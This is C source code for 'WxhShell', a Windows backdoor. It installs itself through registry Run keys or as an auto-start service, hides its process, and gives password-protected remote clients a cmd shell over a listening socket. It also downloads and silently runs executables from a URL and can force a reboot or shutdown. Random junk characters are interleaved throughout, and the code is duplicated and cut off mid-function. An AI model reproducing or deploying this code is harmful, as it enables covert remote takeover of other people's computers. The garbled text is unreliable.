l]O\vh PROCESS_BASIC_INFORMATION pbi; i$G@R% Om\vMd@! HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5L%'@`mX if(NULL == hInst ) return 0; LckK\`mh Hg izW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]neex|3lG g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qn.om=KDs@ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y"aJur=` nRS} }6Q if (!NtQueryInformationProcess) return 0;
?P`K7 a~}OZ&PG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1};Stai'
if(!hProcess) return 0; \&3+D8H>n <0&*9ZeD if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "Og7rl 24*XL, CloseHandle(hProcess); Yujiqi]J; d#4**BM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0@iY:aF if(hProcess==NULL) return 0; IY\5@PVZ b9HtR -iR; HMODULE hMod; 6j]0R*B7`Q char procName[255]; ]MitOkX unsigned long cbNeeded; kfY}S DU/] if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VU]`&`~J |N 7M^ CloseHandle(hProcess); N
+_t-5 xy[3u?,&s! if(strstr(procName,"services")) return 1; // 以服务启动 | rtD.,m !ons]^km return 0; // 注册表启动 MaQqs= } 9vc2VB$ }@q`%uzi // 主模块 FbFPJ !fb int StartWxhshell(LPSTR lpCmdLine) 37.S\gO] { K;H&n1 SOCKET wsl; f+)L#>Gl? BOOL val=TRUE; C1n>M}b int port=0; H3=qe I struct sockaddr_in door; s)D;a-F +_oJ}KI if(wscfg.ws_autoins) Install(); h]}wp;Z #gs`#6 ,' port=atoi(lpCmdLine); plstZ,#j 08\,<9 if(port<=0) port=wscfg.ws_port; eJX9_6m- )g%d:xI WSADATA data; `e&Suyf4B if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FGmb<z 2p <=/hil if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R.1.)P[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,<P
vovg_ door.sin_family = AF_INET; 21l;\W door.sin_addr.s_addr = inet_addr("127.0.0.1"); :J&oX
<nF^ door.sin_port = htons(port); z,p~z*4 0pd'93C if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3~{:`[0Q closesocket(wsl); p6Gy,C. return 1; []1C$.5DD } *P=VFP E4/Dr}4 if(listen(wsl,2) == INVALID_SOCKET) { 2eY_%Y0 closesocket(wsl); bwMm#f
return 1; o|<!"AD7 } 8wFJ4v3 Wxhshell(wsl); nMUw_7Y6 WSACleanup(); Fk7')? Am|%lj+1z return 0; aeM+ d`f Om2d.7S } ?NsW|w_ WP'!*[z // 以NT服务方式启动 kxhWq:[c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0~/_|?]`7 { 7[XRd9a5( DWORD status = 0; +\
.Lp 5 DWORD specificError = 0xfffffff; jm/`iXnMf `1fY)d^ZS serviceStatus.dwServiceType = SERVICE_WIN32; n;Vs_u/Nx serviceStatus.dwCurrentState = SERVICE_START_PENDING; r[iflBP serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;[OH(! serviceStatus.dwWin32ExitCode = 0; [ sjosV serviceStatus.dwServiceSpecificExitCode = 0; Qpc__dA\ serviceStatus.dwCheckPoint = 0; Iit;F serviceStatus.dwWaitHint = 0; ?IT*:A]E U$z-e/ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); meO:@Z0 if (hServiceStatusHandle==0) return; c<Tf
2]vZE 7ZWgf"1j status = GetLastError(); y766;
X:J if (status!=NO_ERROR) lq;Pch { 8'io$6d= serviceStatus.dwCurrentState = SERVICE_STOPPED; hMD|#A-< serviceStatus.dwCheckPoint = 0; SoSb+\*@h serviceStatus.dwWaitHint = 0; c 3)jccWTc serviceStatus.dwWin32ExitCode = status; R!gEwTk serviceStatus.dwServiceSpecificExitCode = specificError; LFRlzz; SetServiceStatus(hServiceStatusHandle, &serviceStatus); j'"J%e] return; JU&c.p
/ } `Eo.v#< J}K$(;: serviceStatus.dwCurrentState = SERVICE_RUNNING; n9ej7oj serviceStatus.dwCheckPoint = 0; \\;jw[P0 serviceStatus.dwWaitHint = 0; ^8N}9a if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hT+_(>hT } GH$ pKB R8Fv{7]c // 处理NT服务事件,比如:启动、停止 #?- wm VOID WINAPI NTServiceHandler(DWORD fdwControl) Q sCheHP { B*Dz{a^.: switch(fdwControl) oQ[f,7u { ;+hH case SERVICE_CONTROL_STOP: v;D~Pa serviceStatus.dwWin32ExitCode = 0; YO}<Ytx serviceStatus.dwCurrentState = SERVICE_STOPPED; M&9+6e'-F serviceStatus.dwCheckPoint = 0; 60?%<oJ oH serviceStatus.dwWaitHint = 0; tW}'g:s { \xw5JGm SetServiceStatus(hServiceStatusHandle, &serviceStatus); -k"/X8 } P8/0H(, return; '3^'B03 case SERVICE_CONTROL_PAUSE: *_\_'@1|J) serviceStatus.dwCurrentState = SERVICE_PAUSED; Yufc{M00 break; $suzW;{# case SERVICE_CONTROL_CONTINUE: v O_*yh1 serviceStatus.dwCurrentState = SERVICE_RUNNING; :nOFR$W break; d)Y}>@:W case SERVICE_CONTROL_INTERROGATE: TJXT-\Vk break; 0[W:d=C`a }; U26}gT) SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5vnrA'BhBU } 4zFW-yy @?]RBX?a // 标准应用程序主函数 A;?|&`f int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RPL:- { P.9>z7l{ QD]6C2j* // 获取操作系统版本 UH"%N)[ OsIsNt=GetOsVer(); Em~>9f
?Q( GetModuleFileName(NULL,ExeFile,MAX_PATH); }`m/bgtFX
Ao&"r[oJSv // 从命令行安装 -=\c_\ O if(strpbrk(lpCmdLine,"iI")) Install(); j3E7zRm] \ LyFN.2qw // 下载执行文件 V1B5w_^>h' if(wscfg.ws_downexe) { p9{mS7R9T if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >(t6.= WinExec(wscfg.ws_filenam,SW_HIDE); 89(Q1R ?: } &\*(Q*2N d5:c^` if(!OsIsNt) { IyG}H} // 如果时win9x,隐藏进程并且设置为注册表启动 IF:;`r@% HideProc(); "oO%`:pb StartWxhshell(lpCmdLine); /jJw0 5;L } FJ)$f?=Qd else n,WqyNt* if(StartFromService()) -m~#Bq // 以服务方式启动 PALc;"]O StartServiceCtrlDispatcher(DispatchTable); oe-\ozJ0 else 0oIe>r // 普通方式启动 4
"'~NvO StartWxhshell(lpCmdLine); 9InVQCf2J 4^|3TntO return 0; Z4
=GMXj } JY(WK@ 1#+S+g@# p H2Sbs:Tk v):Or'$~M =========================================== ji0@P'^; C!bUI8x
z </*6wpN 7WZ+T"O{I A^<jy=F& hM@>q&q_ " j|#Bo:2km =Jb>x#Y #include <stdio.h> -e:`|(Mo #include <string.h> Wvf
^N( #include <windows.h> E hMNap}5" #include <winsock2.h> A2Gevj?F$ #include <winsvc.h> g]0_5?i #include <urlmon.h> cyz3,3\e p0vVkdd #pragma comment (lib, "Ws2_32.lib") #KZBsa@p #pragma comment (lib, "urlmon.lib") $6SW;d+>n 8bld3p"^ #define MAX_USER 100 // 最大客户端连接数 I
b5rqU\ #define BUF_SOCK 200 // sock buffer *J`O"a #define KEY_BUFF 255 // 输入 buffer gRcQt : [d]9Oa4 #define REBOOT 0 // 重启 qlPT Ll #define SHUTDOWN 1 // 关机 P5ywhw- CzrC%x y #define DEF_PORT 5000 // 监听端口 (n_/`dP
92oFlEJ #define REG_LEN 16 // 注册表键长度 hp|YE'uYT #define SVC_LEN 80 // NT服务名长度 --BW9]FW 1bwOmhkS // 从dll定义API aK^q_ghh[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R0*|Lo$6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uoh7Sz5!^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o?Oc7$+u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @cXMG6:{ %d9uTm; // wxhshell配置信息 R.<g3"Lm> struct WSCFG { ]Zh%DQ int ws_port; // 监听端口 Ml-6OvQ7g char ws_passstr[REG_LEN]; // 口令 "E4a=YH_ int ws_autoins; // 安装标记, 1=yes 0=no a0H+.W+] char ws_regname[REG_LEN]; // 注册表键名 q'Pf] char ws_svcname[REG_LEN]; // 服务名 ,Ma^ &ypH char ws_svcdisp[SVC_LEN]; // 服务显示名 FGBbO\</ char ws_svcdesc[SVC_LEN]; // 服务描述信息 >Cq<@$I2EB char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (X*^dO int ws_downexe; // 下载执行标记, 1=yes 0=no \1M4Dl5! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ")p\q:z6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QS;f\'1bb <t!W5q }; )MT}+ai YKK*ER0 // default Wxhshell configuration 5~DJWi, struct WSCFG wscfg={DEF_PORT, s_p!43\J "xuhuanlingzhe", N?`' /e 1, }4X0epPp;: "Wxhshell", .O<obq~;C "Wxhshell", '8kP.l "WxhShell Service", A?OQE9' "Wrsky Windows CmdShell Service", B&"Q\'c "Please Input Your Password: ", EU Fa5C: 1, |CbikE}kL "http://www.wrsky.com/wxhshell.exe", +:/%3}` "Wxhshell.exe" 2y1Sne=<Kb }; DzRFMYBR SSzIih@u // 消息定义模块 _7y[B&g[r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;8 lfOMf char *msg_ws_prompt="\n\r? for help\n\r#>"; KwVbbC3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sV*H`N')S char *msg_ws_ext="\n\rExit.";
C9)@jK% char *msg_ws_end="\n\rQuit."; |u p char *msg_ws_boot="\n\rReboot..."; [mueZQyI?0 char *msg_ws_poff="\n\rShutdown..."; ZS o) char *msg_ws_down="\n\rSave to "; >+T)#.wo& 2MK-5Kg char *msg_ws_err="\n\rErr!"; + LJ73
! char *msg_ws_ok="\n\rOK!"; K)iF>y|{*q V0Hj8}l;M char ExeFile[MAX_PATH]; 4Wp=y int nUser = 0; G^@5H/) HANDLE handles[MAX_USER]; RPbZ(. int OsIsNt; AQ^u ;5AcFB SERVICE_STATUS serviceStatus; tX~w{|k SERVICE_STATUS_HANDLE hServiceStatusHandle; (**oRwr% JK]PRDyD // 函数声明 `@yp+8 int Install(void); I]_5}[I int Uninstall(void); ksm~<;td int DownloadFile(char *sURL, SOCKET wsh); f%8C!W]Dm int Boot(int flag);
{K!)Ss void HideProc(void); eszG0Wu int GetOsVer(void); y<.5xq5_3 int Wxhshell(SOCKET wsl); W}ofAkF void TalkWithClient(void *cs); tT._VK]o&R int CmdShell(SOCKET sock); !PE]C!*gv& int StartFromService(void); lmhLM. 2 int StartWxhshell(LPSTR lpCmdLine); EhBKj |y "uf%iJ:% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u]G\H!WkQ VOID WINAPI NTServiceHandler( DWORD fdwControl ); [<TrS/,)> FC4wwzb // 数据结构和表定义 0IWf!Sk
] SERVICE_TABLE_ENTRY DispatchTable[] = |V7*l1 { fTX;.M/%
{wscfg.ws_svcname, NTServiceMain}, $NO&YLS@ {NULL, NULL} \^1E4C\": }; @KUWxFak 'we>q@ // 自我安装 #,v{Ihn int Install(void) 4`=mu}Y2 { @[v~y"tE} char svExeFile[MAX_PATH]; 9Gz=lc[!7 HKEY key; k|f4Cf, strcpy(svExeFile,ExeFile); {f p[BF 8a"%0d# // 如果是win9x系统,修改注册表设为自启动 J?$,c4;W2 if(!OsIsNt) { Q=dy<kg'] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @|T'0_' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K~EmD9 RegCloseKey(key); -H-~;EzU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { II=79$n`G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j_7mNIr RegCloseKey(key); ~7Ux@Sx; return 0; {+ b7sA3 } FXU8[j0P_G } <QGXy= } 7 Fsay+a else { ]
@fk] ]R ={Qi0Pvt // 如果是NT以上系统,安装为系统服务 UkGCyGyZ[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q-d:TMkc if (schSCManager!=0) Fv`,3aNB { g<
.qUBPKX SC_HANDLE schService = CreateService ht}wEvv ( ~WV"SaA)*U schSCManager, "@8li^ wscfg.ws_svcname, '@P^0+B!(. wscfg.ws_svcdisp, b5n'=doR/I SERVICE_ALL_ACCESS, cj5+NM" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "U"Z 3* SERVICE_AUTO_START, %ULr8)R;
SERVICE_ERROR_NORMAL, 0#^v{DC svExeFile, RViuJ; NULL, ufT`"i NULL, sCHJ&>m5- NULL, y"wShAR NULL, BIL Lq8) NULL 7Hu3>4< ); 8}| (0mC if (schService!=0) .#pU=v#/[ { iOO)Q\ CloseServiceHandle(schService); wLr_-vJ CloseServiceHandle(schSCManager); >[*qf9$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (Ep\Z 6* strcat(svExeFile,wscfg.ws_svcname); Hj,A5#|=J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lHX72s|V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @F*%9LPv RegCloseKey(key); 6!FQzFCZq return 0; ?FcAXA/J{ } h.t-`k7 } PwLZkr@4^ CloseServiceHandle(schSCManager); P";'jVcR } 5XBH$&Td } [cp+i^f o"#\
> return 1; DR<9#RRD } |
%Vh`HT ?5
7Sk+ // 自我卸载 `W*U4?M int Uninstall(void) [hj6N*4y { HA>OkA/ HKEY key; W6/yn pIX`MlBdF if(!OsIsNt) { X}\:_/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s-T\r"d=j RegDeleteValue(key,wscfg.ws_regname); R*2E/8Ia RegCloseKey(key); omBoo5e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZzT9j~ RegDeleteValue(key,wscfg.ws_regname); c\ l kD-\ RegCloseKey(key); WI-1)1t return 0; y_lU=(%Jd } SI-Ops~e } gSQJJxZ{? } 9mTJ|sN:e else { '(|ofJe! $ gS>FJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iAIuxO if (schSCManager!=0) ^3L0w}# { '$%l7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HCC#j9UN6 if (schService!=0) o:Sa,
!DK { HRfYl,S, if(DeleteService(schService)!=0) { L0WN\|D CloseServiceHandle(schService); YglmX"fLf CloseServiceHandle(schSCManager); *YuF0Yt return 0; 7! INkH] }
7\Y0z CloseServiceHandle(schService); ExL0?FemWV } q6V>zi CloseServiceHandle(schSCManager); CdjI` } PBTnIU } 6zuTQ^pz ={@6{-tl return 1; K^<BW(s } KF!Yf\ ?QdWrE_
// 从指定url下载文件 %S^8c int DownloadFile(char *sURL, SOCKET wsh) )cMh0SGcM1 { LIF7/$,0 HRESULT hr; VY=jc~c]v char seps[]= "/"; Ig0VW)@ char *token; Gm^U;u}=f char *file; 3kp+<$ char myURL[MAX_PATH]; mLLDE;7|} char myFILE[MAX_PATH]; y(yHt=r !9VY|&fHe strcpy(myURL,sURL); !Pfr,a token=strtok(myURL,seps); ['tY4$L( while(token!=NULL) yZ U6xY { j[J-f@F \Y file=token; j@3Q;F0ba token=strtok(NULL,seps); bI9~jWgGp } XnMvKPerv' "
9wvPC ^ GetCurrentDirectory(MAX_PATH,myFILE); 9x9 T<cx strcat(myFILE, "\\"); q01wbO3-" strcat(myFILE, file); fW1CFRHH send(wsh,myFILE,strlen(myFILE),0); Ee%%d send(wsh,"...",3,0); 4-y:/8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `*N[jm" if(hr==S_OK) o&)8o5 return 0; 6@F9G4<Z else $2M$?4S/T return 1; VSI9U3t3w Ma']?Rb` } Hc$O{]sq d_E/8R_$L // 系统电源模块 i0kak`x0 int Boot(int flag) ;LPfXpR { &4x}ppX HANDLE hToken; H0gbSd+ TOKEN_PRIVILEGES tkp; DIfaVo/" U!?_W=? if(OsIsNt) { w3obIJm OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gpvYb7Of0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2M#Q.F tkp.PrivilegeCount = 1; RSyUaA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PI:4m%[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +-U- D?- if(flag==REBOOT) { ):6 8%, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BB!THj69a6 return 0; TA`1U;c{n } bz2ztH9 n else { $=8
NED5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M4oy return 0; 2W96Zju\ } 9`A;U|~E@ } +\c5]` else { r6MMCJ|G if(flag==REBOOT) { 9~5uaP$S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %S@ZXf~: return 0; Jr
,;>
} n.`($yR_ else { Vod\a5c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pw7]r<Q return 0; ,.83m%i } /ivJsPH } 1EO7H{E= ?Wr+Q return 1; h5{'Q$Erl } 7a=gH2]& +j`5F3@ // win9x进程隐藏模块 * J7DY f void HideProc(void) H1pO!>M { J{p1|+h% yYIf5S`V] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F#,90F' if ( hKernel != NULL ) N
,'GN[s { xjuN- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p*R;hU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $k@O`xD,q FreeLibrary(hKernel); Z58X5" } ^e2VE_8L ~ drS} V return; ITE{@1 } knu,"< 9-VNp;V // 获取操作系统版本 &Cq`Y !y int GetOsVer(void) iTBx\u%{ { U8s2|G;K OSVERSIONINFO winfo; ]}<}lI9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?(' wn< GetVersionEx(&winfo); a+[KI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BM%e0n7 return 1; fy>{QC\ else Go`vfm"S return 0; vjbASFF0= } !_]Y~[ tVYF{3BhA // 客户端句柄模块 }Sm(]y int Wxhshell(SOCKET wsl) #`qx<y*S { 4M=]wR; SOCKET wsh; &&5aM struct sockaddr_in client; |PvPAPy)uu DWORD myID; FZ{h?#2? uanhr)Ys while(nUser<MAX_USER) L4@K~8j7 { MD}w Y><C int nSize=sizeof(client); )nC]5MXU wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GL>O4S<` if(wsh==INVALID_SOCKET) return 1; 5N#aXG^9 a(m2n.0'> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S*,17+6dV if(handles[nUser]==0) qJf?o.Pv closesocket(wsh); 6iry6wcHm else YU'k#\gi* nUser++; rX U } $!-yr7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J@/kIrx E'f{i:O"~ return 0; WJ]T\DI } 0.Q
Ujw PF0_8,@U // 关闭 socket s-NX o void CloseIt(SOCKET wsh) #JqB ;'\ { =bAx,,D# closesocket(wsh); .y'>[ nUser--; (fhb0i- ExitThread(0); 8$]1M,$r } xf'V{9* =?5]()'*n // 客户端请求句柄 !K#qe Y} void TalkWithClient(void *cs) K$z2YJ% { ;'gWu Q*GN`07@?d SOCKET wsh=(SOCKET)cs; pj8=wc h char pwd[SVC_LEN]; 5f rX char cmd[KEY_BUFF]; B4ZBq%Z_ char chr[1]; M.JA.I@XC int i,j; .w:DFk^E]b ~\r* while (nUser < MAX_USER) { gZVc 5u< y1z4ik)Sd@ if(wscfg.ws_passstr) { "BAK !N$9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IM*y|UHt //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4a&RYx //ZeroMemory(pwd,KEY_BUFF); ?C]vS_jAh i=0; 6]i-E>p3R while(i<SVC_LEN) { OUE(I3_ NCveSP // 设置超时 L]7=?vN=8 fd_set FdRead; )w em|:H struct timeval TimeOut; ~"gA,e-) FD_ZERO(&FdRead); $+Z[K.2J FD_SET(wsh,&FdRead); D#aDv0b TimeOut.tv_sec=8; n>z9K') TimeOut.tv_usec=0; UJUEYG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4>YR{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j\yjc/m .Cv6kgB@c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yHYsZ,GE pwd=chr[0]; I]|Pq if(chr[0]==0xd || chr[0]==0xa) { qfF~D0} pwd=0; x%=si[P break; a9e>iU } y<UK:^t31V i++; xH4m| } %jJG>T xh-o}8*n" // 如果是非法用户,关闭 socket Mc
lkEfn if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ha#=(9. } t3WiomNCc U)TUOwF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vsr.=Nd= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _~m5^Q& _oL?*ks while(1) { AF{\6<m $GV7o{"& ZeroMemory(cmd,KEY_BUFF); PN%zIkbo MR7}s4o // 自动支持客户端 telnet标准 Y>z>11yEB0 j=0; W.jGGt\<\ while(j<KEY_BUFF) { o)|flI'vT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ')Zvp7>$ cmd[j]=chr[0]; ";lVa'HMZ if(chr[0]==0xa || chr[0]==0xd) { <\y@*fg+ cmd[j]=0; ,]C;sN%~} break; nbp=PzZy } G&SB- j++;
x^qVw5{n } ;<Sd~M4f )6MfRw // 下载文件 ?PxP% $hS if(strstr(cmd,"http://")) { hF?1y `20 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1#g2A0U, if(DownloadFile(cmd,wsh)) <V'@ks% send(wsh,msg_ws_err,strlen(msg_ws_err),0); t?X877z else qx(xvU9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %QH$ipM } D8Ic?:iX[ else { eeg)N1\ fb7; |LF
switch(cmd[0]) { )* : gqN ]#<4vl\ // 帮助 ]EbM9Fo-U case '?': { K g*Q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NX.6px17 break; GKqm&/M*= } ;O5zUl-` // 安装 }Bh8=F3O
Q case 'i': { 4B;=kL_f if(Install()) M^Yh|%M send(wsh,msg_ws_err,strlen(msg_ws_err),0); q_8+HEvo else FXCMR\BsQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7"D",1h break; 2|y"!JqE1 } (Rh,, // 卸载 2"Q|+-Io case 'r': { /N+dQe if(Uninstall()) @7c?xQVd$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); TqQB@-! else "{+QW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #MkTkm&r break; N% B>M7-= } g =hg%gRy" // 显示 wxhshell 所在路径 s)t@ol case 'p': { ;d$rdFA_ char svExeFile[MAX_PATH]; q q`4<0 I> strcpy(svExeFile,"\n\r");
**0~K" ;\ strcat(svExeFile,ExeFile); sdrfsrNvB- send(wsh,svExeFile,strlen(svExeFile),0); xu%k~4cB, break; 9RL`<,Q } aK~8B_5k8 // 重启 uZYF(Yu case 'b': { @bLy,Xr& send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B@))8.h] if(Boot(REBOOT)) 2.y-48Nz send(wsh,msg_ws_err,strlen(msg_ws_err),0); dQX6(Jj else { :=V[7n]) closesocket(wsh); nF:4}qy\ ExitThread(0); :4w ?# } U>SShpmZA break; Vt~{Gu-Y } qkqIV^*R // 关机 Q\vpqE!9 case 'd': { #z%fx
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m7V/zne if(Boot(SHUTDOWN)) A\DCW send(wsh,msg_ws_err,strlen(msg_ws_err),0);
l&zilVVm else { hfB%`x#akQ closesocket(wsh); Z\rwO>3 ExitThread(0); h"W,WxL8 } BOX2O.Pm break; MjRHA^b } Q{>k1$fkV // 获取shell ,qwuLBW case 's': { 9=tIz CmdShell(wsh); Ix}sK"}[n closesocket(wsh); o/)h"i0P ExitThread(0); >'$Mp < break; TX/Xt7#R: } v1JzP# // 退出 M_f:A case 'x': { .{^5X)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); re<{
> CloseIt(wsh); gJ{)-\ break; @HC Vmg: } %1L,Y // 离开 C )
s5D case 'q': { gD?l-RT> send(wsh,msg_ws_end,strlen(msg_ws_end),0); q2j{tP# closesocket(wsh); Q&;9x? e WSACleanup(); bJ%h53 exit(1); "sCRdx]_ break; n>XdU%& } b%`1cV } 6 "sSo j } '<<t]kK[N "S]TP$O D // 提示信息 6gE7e|+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e !Y~Qy } tk`v:t!6U } p6@)-2^ ~mxO7cy5Cg return; Kc-W&?~y#1 } ~
7s!VR 4VSU8tK|N] // shell模块句柄 kJ}`V int CmdShell(SOCKET sock) Hn"RH1Zy { F41=b4/ STARTUPINFO si; (A#^l=su ZeroMemory(&si,sizeof(si)); da(<K} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y3b *a".X si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6_Y,eL]" PROCESS_INFORMATION ProcessInfo; L4HI0Mx char cmdline[]="cmd"; QWYJ* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &QgR*,5eo return 0; iBaA9 } ga +dt |{ip T SH // 自身启动模式 .k !{* int StartFromService(void) bH~dJFj/ { fHFE){ typedef struct 4r}51 N\ { ;=z:F<Y DWORD ExitStatus; >[#f\bG> DWORD PebBaseAddress; /N{*"s2) DWORD AffinityMask; 9'B `]/L DWORD BasePriority; ]f_p8?j" ULONG UniqueProcessId; 5H^(2w ULONG InheritedFromUniqueProcessId; <hyKu
} PROCESS_BASIC_INFORMATION; ?J0y| B+`g>h PROCNTQSIP NtQueryInformationProcess; $&c*'3 z$sT !QL~ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E1
2uZ$X static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~n_HP_Kf? wCBplaojJ HANDLE hProcess; !N^@4* PROCESS_BASIC_INFORMATION pbi; ;uGv:$([g *;FdD{+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kg]J/|0\ if(NULL == hInst ) return 0; -~w'Xo # ;_=&-mz g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }@)[5N#A| g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c+ie8Q! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [}m[ )L\ ?Bmb' 3 if (!NtQueryInformationProcess) return 0; :`sUt1Fw. #vlgwA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L~3Pm%{@A if(!hProcess) return 0; Q!3_$<5<E> p#tI;"\y if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "dlVk~ zbiL P83 CloseHandle(hProcess); DmcZta8n] eMzk3eOJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 